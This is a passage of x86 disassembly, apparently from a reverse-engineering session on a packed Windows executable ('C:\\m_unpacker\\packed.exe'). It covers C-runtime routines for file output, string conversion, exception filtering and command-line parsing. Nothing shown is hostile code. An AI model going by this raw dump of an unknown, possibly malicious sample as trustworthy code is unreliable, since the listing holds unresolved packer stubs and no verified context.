		test	byte ptr [edi+0Ch], 1
		jz	loc_4230EE
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_42305C
		and	[ebp+var_8], edx
		jmp	loc_4230EE
; ---------------------------------------------------------------------------


loc_42305C:				; CODE XREF: sub_422FA3+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD040h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_4230E8
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4230AF
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_42309A:				; CODE XREF: sub_422FA3+104j
		cmp	eax, ecx
		jnb	short loc_4230A9
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4230A6
		inc	[ebp+arg_0]


loc_4230A6:				; CODE XREF: sub_422FA3+FEj
		inc	eax
		jmp	short loc_42309A
; ---------------------------------------------------------------------------


loc_4230A9:				; CODE XREF: sub_422FA3+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_4230E3
; ---------------------------------------------------------------------------


loc_4230AF:				; CODE XREF: sub_422FA3+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_422F09
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4230D6
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4230D6
		test	ch, 4
		jz	short loc_4230D9


loc_4230D6:				; CODE XREF: sub_422FA3+124j
					; sub_422FA3+12Cj
		mov	eax, [edi+18h]


loc_4230D9:				; CODE XREF: sub_422FA3+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_4230E3:				; CODE XREF: sub_422FA3+10Aj
		jz	short loc_4230E8
		inc	[ebp+arg_0]


loc_4230E8:				; CODE XREF: sub_422FA3+D9j
					; sub_422FA3:loc_4230E3j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_4230EE:				; CODE XREF: sub_422FA3+A4j
					; sub_422FA3+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_4230F6:				; CODE XREF: sub_422FA3+3Cj
					; sub_422FA3+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422FA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4230FB	proc near		; CODE XREF: sub_41DB54+A2p
					; sub_41E42B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DD140
		push	esi
		push	edi
		jnb	loc_42328F
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD040h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_42328F
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42314C


loc_423145:				; CODE XREF: sub_4230FB+177j
		xor	eax, eax
		jmp	loc_4232A3
; ---------------------------------------------------------------------------


loc_42314C:				; CODE XREF: sub_4230FB+48j
		test	al, 20h
		jz	short loc_42315C
		push	2
		push	edi
		push	ecx
		call	sub_422F09
		add	esp, 0Ch


loc_42315C:				; CODE XREF: sub_4230FB+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_42322B
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_423263


loc_42317C:				; CODE XREF: sub_4230FB+F5j
		lea	eax, [ebp+var_414]


loc_423182:				; CODE XREF: sub_4230FB+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4231B6
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4231A1
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_4231A1:				; CODE XREF: sub_4230FB+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_423182


loc_4231B6:				; CODE XREF: sub_4230FB+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 2740000h
		nop
		test	eax, eax
		jz	short loc_423220
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_4231F2
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42317C


loc_4231F2:				; CODE XREF: sub_4230FB+EAj
					; sub_4230FB+12Ej
		xor	edi, edi


loc_4231F4:				; CODE XREF: sub_4230FB+150j
					; sub_4230FB+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_42328A
		cmp	[ebp+arg_0], edi
		jz	short loc_423263
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_423258
		mov	dword_4DBDDC, 9
		mov	dword_4DBDE0, eax
		jmp	loc_4232A0
; ---------------------------------------------------------------------------


loc_423220:				; CODE XREF: sub_4230FB+E0j
		nop
		call	near ptr 26B0669h
		mov	[ebp+arg_0], eax
		jmp	short loc_4231F2
; ---------------------------------------------------------------------------


loc_42322B:				; CODE XREF: sub_4230FB+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		nop
		call	near ptr 2740000h
		test	eax, eax
		jz	short loc_42324D
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_4231F4
; ---------------------------------------------------------------------------


loc_42324D:				; CODE XREF: sub_4230FB+145j
		call	near ptr 26B0669h
		nop
		mov	[ebp+arg_0], eax
		jmp	short loc_4231F4
; ---------------------------------------------------------------------------


loc_423258:				; CODE XREF: sub_4230FB+10Fj
		push	[ebp+arg_0]
		call	sub_420C7F
		pop	ecx
		jmp	short loc_4232A0
; ---------------------------------------------------------------------------


loc_423263:				; CODE XREF: sub_4230FB+7Bj
					; sub_4230FB+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_423278
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_423145


loc_423278:				; CODE XREF: sub_4230FB+16Fj
		mov	dword_4DBDDC, 1Ch
		mov	dword_4DBDE0, edi
		jmp	short loc_4232A0
; ---------------------------------------------------------------------------


loc_42328A:				; CODE XREF: sub_4230FB+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_4232A3
; ---------------------------------------------------------------------------


loc_42328F:				; CODE XREF: sub_4230FB+15j
					; sub_4230FB+37j
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9


loc_4232A0:				; CODE XREF: sub_4230FB+120j
					; sub_4230FB+166j ...
		or	eax, 0FFFFFFFFh


loc_4232A3:				; CODE XREF: sub_4230FB+4Cj
					; sub_4230FB+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4230FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4232A8	proc near		; CODE XREF: sub_41DE4A+47p
					; sub_41DE4A+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427928
		push	offset sub_423CC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4DBE78, edi
		jnz	short loc_42331E
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427920
		mov	esi, 100h
		push	esi
		push	edi
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	short loc_4232FC
		mov	dword_4DBE78, ebx
		jmp	short loc_42331E
; ---------------------------------------------------------------------------


loc_4232FC:				; CODE XREF: sub_4232A8+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset word_4CB88C
		push	esi
		push	edi
		call	near ptr 2660000h
		nop
		test	eax, eax
		jz	loc_423436
		mov	dword_4DBE78, 2


loc_42331E:				; CODE XREF: sub_4232A8+2Ej
					; sub_4232A8+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_423333
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4234CC
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_423333:				; CODE XREF: sub_4232A8+79j
		mov	eax, dword_4DBE78
		cmp	eax, 2
		jnz	short loc_42335A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2660000h
		jmp	loc_423438
; ---------------------------------------------------------------------------


loc_42335A:				; CODE XREF: sub_4232A8+93j
		cmp	eax, 1
		jnz	loc_423436
		cmp	[ebp+arg_18], edi
		jnz	short loc_423370
		mov	eax, dword_4DBE94
		mov	[ebp+arg_18], eax


loc_423370:				; CODE XREF: sub_4232A8+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 2720000h
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_423436
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4233CB
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_4233CB:				; CODE XREF: sub_4232A8+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_423436
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2720000h
		test	eax, eax
		jz	short loc_423436
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_423436
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_42344A
		cmp	[ebp+arg_14], edi
		jz	loc_4234C5
		cmp	esi, [ebp+arg_14]
		jg	short loc_423436
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		test	eax, eax
		jnz	loc_4234C5


loc_423436:				; CODE XREF: sub_4232A8+66j
					; sub_4232A8+B5j ...
		xor	eax, eax


loc_423438:				; CODE XREF: sub_4232A8+ADj
					; sub_4232A8+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42344A:				; CODE XREF: sub_4232A8+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41C500
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42347E
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_42347E:				; CODE XREF: sub_4232A8+1C2j
		cmp	ebx, edi
		jz	short loc_423436
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	short loc_423436
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_4234A5
		push	edi
		push	edi
		jmp	short loc_4234AB
; ---------------------------------------------------------------------------


loc_4234A5:				; CODE XREF: sub_4232A8+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_4234AB:				; CODE XREF: sub_4232A8+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2861078h
		mov	esi, eax
		cmp	esi, edi
		jz	loc_423436


loc_4234C5:				; CODE XREF: sub_4232A8+165j
					; sub_4232A8+188j
		mov	eax, esi
		jmp	loc_423438
sub_4232A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4234CC	proc near		; CODE XREF: sub_4232A8+81p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_4234E9


loc_4234DC:				; CODE XREF: sub_4234CC+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_4234E9
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_4234DC


loc_4234E9:				; CODE XREF: sub_4234CC+Ej
					; sub_4234CC+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4234F4
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_4234F4:				; CODE XREF: sub_4234CC+21j
		mov	eax, edx
		retn
sub_4234CC	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_423638
		test	eax, eax
		pop	ecx
		jz	loc_42362C
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_42362C
		cmp	ebx, 5
		jnz	short loc_423528
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_423635
; ---------------------------------------------------------------------------


loc_423528:				; CODE XREF: ___:0042351Aj
		cmp	ebx, 1
		jz	loc_423627
		mov	ecx, dword_4DBE9C
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4DBE9C, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_423617
		mov	ecx, dword_43D4C0
		mov	edx, dword_43D4C4
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_423577
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43D450h[esi*4]


loc_42356E:				; CODE XREF: ___:00423575j
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_42356E


loc_423577:				; CODE XREF: ___:00423560j
		mov	eax, [eax]
		mov	esi, dword_43D4CC
		cmp	eax, 0C000008Eh
		jnz	short loc_423592
		mov	dword_43D4CC, 83h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_423592:				; CODE XREF: ___:00423584j
		cmp	eax, 0C0000090h
		jnz	short loc_4235A5
		mov	dword_43D4CC, 81h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235A5:				; CODE XREF: ___:00423597j
		cmp	eax, 0C0000091h
		jnz	short loc_4235B8
		mov	dword_43D4CC, 84h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235B8:				; CODE XREF: ___:004235AAj
		cmp	eax, 0C0000093h
		jnz	short loc_4235CB
		mov	dword_43D4CC, 85h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235CB:				; CODE XREF: ___:004235BDj
		cmp	eax, 0C000008Dh
		jnz	short loc_4235DE
		mov	dword_43D4CC, 82h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235DE:				; CODE XREF: ___:004235D0j
		cmp	eax, 0C000008Fh
		jnz	short loc_4235F1
		mov	dword_43D4CC, 86h
		jmp	short loc_423602
; ---------------------------------------------------------------------------


loc_4235F1:				; CODE XREF: ___:004235E3j
		cmp	eax, 0C0000092h
		jnz	short loc_423602
		mov	dword_43D4CC, 8Ah


loc_423602:				; CODE XREF: ___:00423590j
					; ___:004235A3j ...
		push	dword_43D4CC
		push	8
		call	ebx
		pop	ecx
		mov	dword_43D4CC, esi
		pop	ecx
		pop	esi
		jmp	short loc_42361F
; ---------------------------------------------------------------------------


loc_423617:				; CODE XREF: ___:00423549j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_42361F:				; CODE XREF: ___:00423615j
		mov	eax, [ebp+8]
		mov	dword_4DBE9C, eax


loc_423627:				; CODE XREF: ___:0042352Bj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423635
; ---------------------------------------------------------------------------


loc_42362C:				; CODE XREF: ___:00423506j
					; ___:00423511j
		push	dword ptr [ebp+0Ch]
		call	near ptr 2640000h
		nop


loc_423635:				; CODE XREF: ___:00423523j
					; ___:0042362Aj
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_423638	proc near		; CODE XREF: ___:004234FEp

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D4C8
		cmp	dword_43D448, edx
		push	esi
		mov	eax, offset dword_43D448
		jz	short loc_423665
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43D448h[esi*4]


loc_42365A:				; CODE XREF: sub_423638+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_423665
		cmp	[eax], edx
		jnz	short loc_42365A


loc_423665:				; CODE XREF: sub_423638+16j
					; sub_423638+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43D448h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_423678
		cmp	[eax], edx
		jz	short locret_42367A


loc_423678:				; CODE XREF: sub_423638+3Aj
		xor	eax, eax

locret_42367A:				; CODE XREF: sub_423638+3Ej
		retn
sub_423638	endp

; ---------------------------------------------------------------------------
		cmp	dword_4DD394, 0
		jnz	short loc_423689
		call	sub_420B0D


loc_423689:				; CODE XREF: ___:00423682j
		push	esi
		mov	esi, dword_4DD38C
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_4236BB


loc_423696:				; CODE XREF: ___:004236AEj
					; ___:004236B1j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_4236B3
		test	al, al
		jz	short loc_4236B3
		movzx	eax, al
		push	eax
		call	sub_424FE7
		test	eax, eax
		pop	ecx
		jz	short loc_423696
		inc	esi
		jmp	short loc_423696
; ---------------------------------------------------------------------------


loc_4236B3:				; CODE XREF: ___:0042369Cj
					; ___:004236A0j
		cmp	byte ptr [esi],	22h
		jnz	short loc_4236C5


loc_4236B8:				; CODE XREF: ___:004236CDj
		inc	esi
		jmp	short loc_4236C5
; ---------------------------------------------------------------------------


loc_4236BB:				; CODE XREF: ___:00423694j
		cmp	al, 20h
		jbe	short loc_4236C5


loc_4236BF:				; CODE XREF: ___:004236C3j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_4236BF


loc_4236C5:				; CODE XREF: ___:004236B6j
					; ___:004236B9j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_4236CF
		cmp	al, 20h
		jbe	short loc_4236B8


loc_4236CF:				; CODE XREF: ___:004236C9j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DD394, ebx
		push	esi
		push	edi
		jnz	short loc_4236E5
		call	sub_420B0D


loc_4236E5:				; CODE XREF: ___:004236DEj
		mov	esi, dword_4DBE34
		xor	edi, edi


loc_4236ED:				; CODE XREF: ___:00423703j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_423705
		cmp	al, 3Dh
		jz	short loc_4236F8
		inc	edi


loc_4236F8:				; CODE XREF: ___:004236F5j
		push	esi
		call	sub_41B9C0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_4236ED
; ---------------------------------------------------------------------------


loc_423705:				; CODE XREF: ___:004236F1j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4DBE04, esi
		jnz	short loc_423727
		push	9
		call	sub_41E2C9
		pop	ecx


loc_423727:				; CODE XREF: ___:0042371Dj
		mov	edi, dword_4DBE34
		cmp	[edi], bl
		jz	short loc_42376A
		push	ebp


loc_423732:				; CODE XREF: ___:00423767j
		push	edi
		call	sub_41B9C0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_423763
		push	ebp
		call	sub_41BEB5
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_423756
		push	9
		call	sub_41E2C9
		pop	ecx


loc_423756:				; CODE XREF: ___:0042374Cj
		push	edi
		push	dword ptr [esi]
		call	sub_41C890
		pop	ecx
		add	esi, 4
		pop	ecx


loc_423763:				; CODE XREF: ___:0042373Fj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_423732
		pop	ebp


loc_42376A:				; CODE XREF: ___:0042372Fj
		push	dword_4DBE34
		call	sub_41BA91
		pop	ecx
		mov	dword_4DBE34, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DD390, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DD394, ebx
		push	esi
		push	edi
		jnz	short loc_4237A3
		call	sub_420B0D


loc_4237A3:				; CODE XREF: ___:0042379Cj
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	near ptr 2690000h
		nop
		mov	eax, dword_4DD38C
		mov	off_4DBE14, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_4237C8
		mov	edi, eax


loc_4237C8:				; CODE XREF: ___:004237C4j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_423825
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41BEB5
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_4237F8
		push	8
		call	sub_41E2C9
		pop	ecx


loc_4237F8:				; CODE XREF: ___:004237EEj
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_423825
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4DBDFC, esi
		pop	edi
		pop	esi
		mov	dword_4DBDF8, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423825	proc near		; CODE XREF: ___:004237D3p
					; ___:00423809p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_42384F
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_42384F:				; CODE XREF: sub_423825+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_423898


loc_423854:				; CODE XREF: sub_423825+58j
					; sub_423825+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_423886
		test	dl, dl
		jz	short loc_423886
		movzx	edx, dl
		test	byte_4DD261[edx], 4
		jz	short loc_423879
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423879
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_423879:				; CODE XREF: sub_423825+46j
					; sub_423825+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423854
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_423854
; ---------------------------------------------------------------------------


loc_423886:				; CODE XREF: sub_423825+36j
					; sub_423825+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423890
		and	byte ptr [esi],	0
		inc	esi


loc_423890:				; CODE XREF: sub_423825+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4238DB
		inc	eax
		jmp	short loc_4238DB
; ---------------------------------------------------------------------------


loc_423898:				; CODE XREF: sub_423825+2Dj
					; sub_423825+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4238A3
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_4238A3:				; CODE XREF: sub_423825+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DD261[ebx], 4
		jz	short loc_4238BE
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4238BD
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_4238BD:				; CODE XREF: sub_423825+91j
		inc	eax


loc_4238BE:				; CODE XREF: sub_423825+8Bj
		cmp	dl, 20h
		jz	short loc_4238CC
		test	dl, dl
		jz	short loc_4238D0
		cmp	dl, 9
		jnz	short loc_423898


loc_4238CC:				; CODE XREF: sub_423825+9Cj
		test	dl, dl
		jnz	short loc_4238D3


loc_4238D0:				; CODE XREF: sub_423825+A0j
		dec	eax
		jmp	short loc_4238DB
; ---------------------------------------------------------------------------


loc_4238D3:				; CODE XREF: sub_423825+A9j
		test	esi, esi
		jz	short loc_4238DB
		and	byte ptr [esi-1], 0


loc_4238DB:				; CODE XREF: sub_423825+6Ej
					; sub_423825+71j ...
		and	[ebp+arg_10], 0


loc_4238DF:				; CODE XREF: sub_423825+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4239C8


loc_4238E8:				; CODE XREF: sub_423825+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4238F4
		cmp	dl, 9
		jnz	short loc_4238F7


loc_4238F4:				; CODE XREF: sub_423825+C8j
		inc	eax
		jmp	short loc_4238E8
; ---------------------------------------------------------------------------


loc_4238F7:				; CODE XREF: sub_423825+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4239C8
		test	edi, edi
		jz	short loc_42390C
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_42390C:				; CODE XREF: sub_423825+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_423911:				; CODE XREF: sub_423825+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_42391A:				; CODE XREF: sub_423825+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_423923
		inc	eax
		inc	ebx
		jmp	short loc_42391A
; ---------------------------------------------------------------------------


loc_423923:				; CODE XREF: sub_423825+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_423954
		test	bl, 1
		jnz	short loc_423952
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423941
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423941
		mov	eax, edx
		jmp	short loc_423944
; ---------------------------------------------------------------------------


loc_423941:				; CODE XREF: sub_423825+10Dj
					; sub_423825+116j
		mov	[ebp+arg_0], edi


loc_423944:				; CODE XREF: sub_423825+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_423952:				; CODE XREF: sub_423825+106j
		shr	ebx, 1


loc_423954:				; CODE XREF: sub_423825+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423969
		inc	ebx


loc_42395C:				; CODE XREF: sub_423825+142j
		test	esi, esi
		jz	short loc_423964
		mov	byte ptr [esi],	5Ch
		inc	esi


